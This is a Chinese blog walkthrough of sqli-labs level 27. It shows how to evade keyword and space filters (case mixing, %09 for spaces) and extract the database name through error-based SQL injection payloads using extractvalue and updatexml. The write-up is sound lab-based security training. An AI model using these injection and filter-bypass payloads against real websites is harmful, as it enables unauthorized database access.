当前位置: 首页 > news >正文

sqllab第二十七关通关笔记

知识点:

  • union select 关键字过滤
    • 通过<> /**/进行截断处理
      • un<>ion  sel<>ect     没效果
      • uni/**/on sel/**/ect     被过滤了
    • 双写绕过     
      • 这关对select进行了多重过滤,无法进行双写绕过 
    • 大小写绕过
      • UNion SElect   (这关可以用,不演示了)
  • 空格过滤
    • %09 %0a %0b %0c %0d 进行绕过
    • 这关+和%20被过滤了,但是可以用上面的几种形式代替
  • 错误注入
    • extractvalue(1,concat(0x7e,database(),0x7e))
    • updatexml(1,concat(0x7e,database(),0x7e),1)
    • 最多展示32位,超过部分需要用截取函数处理

测试注入类型

构造payload:id=1'

构造payload:id=1''

测试发现是字符型注入

经过不断的测试发现空格和+被过滤了,发现%09可以代替空格绕过检测

构造payload:id=1'%09and%091='1

页面成功回显出了相关信息,说明绕过成功

页面给出了提示,联合查询关键字被过滤了,直接使用错误注入

构造payload:id=1'%09and%09exp(710)='1

页面成功回显除了exp()函数的错误信息

尝试获取数据库名

构造payload:id=1'%09and%09extractvalue(1,concat(0x7e,database(),0x7e))='1

成功获取到了数据库名;结束收工

10

http://www.lryc.cn/news/320305.html

相关文章:

  • 助推直播产业升级与经济转型 天府锋巢直播产业基地成都开园
  • VSCode+python单步调试库代码
  • 如何使用EMC测试软件执行辐射抗扰度测试?(三)软件检查及手动模式
  • 云手机为电商提供五大出海优势
  • chatgpt大模型基础学习
  • 代码随想录算法训练营第14天 part01 | 二叉树理论基础篇
  • async与defer的区别
  • 奇数乘积(C语言)
  • 中文分词库:jieba的词性对照表
  • Linux:git的基础操作
  • 【华为OD机试】CPU 算力分配【C卷|100分】
  • 挑战杯 机器视觉目标检测 - opencv 深度学习
  • 基于Spring Boot的社区便民服务管理系统的设计与实现
  • 亚信安慧AntDB:数字化创新背后的数据力量
  • Matplotlib数据可视化实战-1数据可视化Matplotlib基础
  • 信也科技发布消费者权益保护2023年度报告: 科技驱动、服务为先、合作共建社会化消保体系
  • REDHAWK——连接(续)
  • 9.Python从入门到精通—Python 字符串格式化,三引号,Unicode 字符串
  • O2OA(翱途)开发平台系统安全-用户登录IP限制
  • DirectShowPlayerService::doSetUrlSource: Unresolved error code 0x800c000d
  • 【测试流程及规范】8000字超详细完整版
  • 第十四届蓝桥杯省赛真题 Java C 组【原卷】
  • v-model 粗略解析
  • 【vue elementUI】修改el-dropdown样式
  • 6语言交易所/多语言交易所php源码/微盘PHP源码
  • 动态规划——传球问题
  • Spring: 文件服务使用spring.web.resources.static-locations配置实现文件预览功能
  • 分享常用的62 个九宫格抽奖及各种宫格效果源码
  • 【Stable Diffusion】入门-03:图生图基本步骤+参数解读
  • 数学建模-多目标规划算法(美赛建模)